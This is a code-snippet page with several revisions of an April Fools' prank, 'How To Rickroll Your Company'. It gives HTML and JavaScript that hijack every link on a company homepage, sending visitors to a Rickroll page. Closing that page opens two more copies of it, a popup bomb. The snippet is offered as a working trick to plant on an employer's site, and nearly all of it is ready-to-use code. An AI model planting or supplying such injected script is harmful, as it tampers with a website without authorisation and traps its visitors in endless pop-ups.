Return to Snippet

Revision: 12932
at April 1, 2009 17:26 by shaunchapman


Updated Code
Save the following as tps_reports.html and put it in the same directory as your company's homepage

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
  <script type="text/javascript">
    function terrorize()
    {
      window.open("tps_reports.html");
      window.open("tps_reports.html");
    }
  </script>
</head>

<body onunload="terrorize();" style="margin: 0;">
<iframe src ="http://www.youtube.com/watch?v=oHg5SJYRHA0" width="100%" height="100%" frameborder="0">
</iframe>
</body>
</html>


Next, add the following somewhere between the <head> tags in your company's homepage.

<script type="text/javascript">
  function rickroll()
  {
    var links = document.getElementsByTagName("a");
    for (var i in links) {
      links[i].href = "tps_reports.html";
    }
  }
</script>


Finally, add the following to the <body> tag in your company's homepage.

onload="rickroll();"

Revision: 12931
at April 1, 2009 17:19 by shaunchapman


Updated Code
Save the following as tps_reports.html and put it in the same directory as your company's homepage

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
    <script type="text/javascript">
        function terrorize()
        {
            window.open("tps_reports.html");
            window.open("tps_reports.html");
        }
    </script>
</head>

<body onunload="terrorize();" style="margin: 0;">
<iframe src ="http://www.youtube.com/watch?v=oHg5SJYRHA0" width="100%" height="100%" frameborder="0">
</iframe>
</body>
</html>


Next, add the following somewhere between the <head> tags in your company's homepage.

<script type="text/javascript">
    function rickroll()
    {
        var links = document.getElementsByTagName("a");
        for (var i in links)
        {
            links[i].href = "tps_reports.html";
        }
    }
</script>


Finally, add the following to the <body> tag in your company's homepage.

onload="rickroll();"

Revision: 12930
at April 1, 2009 17:17 by shaunchapman


Updated Code
Save the following as tps_reports.html and put it in the same directory as your company's homepage

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
    <script type="text/javascript">
        function terrorize()
        {
            window.open("tps_reports.html");
            window.open("tps_reports.html");
        }
    </script>
</head>

<body onunload="terrorize();" style="margin: 0;">
<iframe src ="http://www.youtube.com/watch?v=oHg5SJYRHA0" width="100%" height="100%" frameborder="0">
</iframe>
</body>
</html>


Next, add the following somewhere between the <head> tags in your company's homepage.

<script type="text/javascript">
    function rickroll()
    {
        var links = document.getElementsByTagName("a");
        for (var i in links)
        {
            links[i].href = "/smcp/tps_reports.html";
        }
    }
</script>


Finally, add the following to the <body> tag in your company's homepage.

onload="rickroll();"

Revision: 12929
at April 1, 2009 16:57 by shaunchapman


Updated Code
Save the following as tps_reports.html and put it in the same directory as your company's homepage
-------------------------------------------------------------------------------------------------------------------
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
    <script type="text/javascript">
        function terrorize()
        {
            window.open("tps_reports.html");
            window.open("tps_reports.html");
        }
    </script>
</head>

<body onunload="terrorize();" style="margin: 0;">
<iframe src ="http://www.youtube.com/watch?v=oHg5SJYRHA0" width="100%" height="100%" frameborder="0">
</iframe>
</body>
</html>
-------------------------------------------------------------------------------------------------------------------


Next, add the following somewhere between the <head> tags in your company's homepage.
-------------------------------------------------------------------------------------------------------------------
function rickroll()
{
    var links = document.getElementsByTagName("a");
    for (var i in links)
    {
        links[i].href = "/smcp/tps_reports.html";
    }
}
-------------------------------------------------------------------------------------------------------------------


Finally, add the following to the <body> tag in your company's homepage.
-------------------------------------------------------------------------------------------------------------------
onload="rickroll();"
-------------------------------------------------------------------------------------------------------------------

Revision: 12928
at April 1, 2009 16:55 by shaunchapman


Initial Code
Save the following as tps_reports.html and put it in the same directory as your company's homepage
------------------------------------------------------------------------------------------------------------------------------
<html>
<head>
    <script type="text/javascript">
        function terrorize()
        {
            window.open("tps_reports.html");
            window.open("tps_reports.html");
        }
    </script>
</head>

<body onunload="terrorize();" style="margin: 0;">
<iframe src ="http://www.youtube.com/watch?v=oHg5SJYRHA0" width="100%" height="100%" frameborder="0">
</iframe>
</body>
</html>
------------------------------------------------------------------------------------------------------------------------------


Next, add the following somewhere between the <head> tags in your company's homepage.
------------------------------------------------------------------------------------------------------------------------------
function rickroll()
{
    var links = document.getElementsByTagName("a");
    for (var i in links)
    {
        links[i].href = "/smcp/tps_reports.html";
    }
}
------------------------------------------------------------------------------------------------------------------------------


Finally, add the following to the <body> tag in your company's homepage.
------------------------------------------------------------------------------------------------------------------------------
onload="rickroll();"
------------------------------------------------------------------------------------------------------------------------------

Initial URL


Initial Description
This will make every link on your company's homepage open a Rickroll page that when closed will spawn two more Rickroll pages.  This is especially useful on company websites that require each employee to allow pop-ups.

**Warning:**  Use at your own risk.

Initial Title
How To Rickroll Your Company

Initial Tags


Initial Language
HTML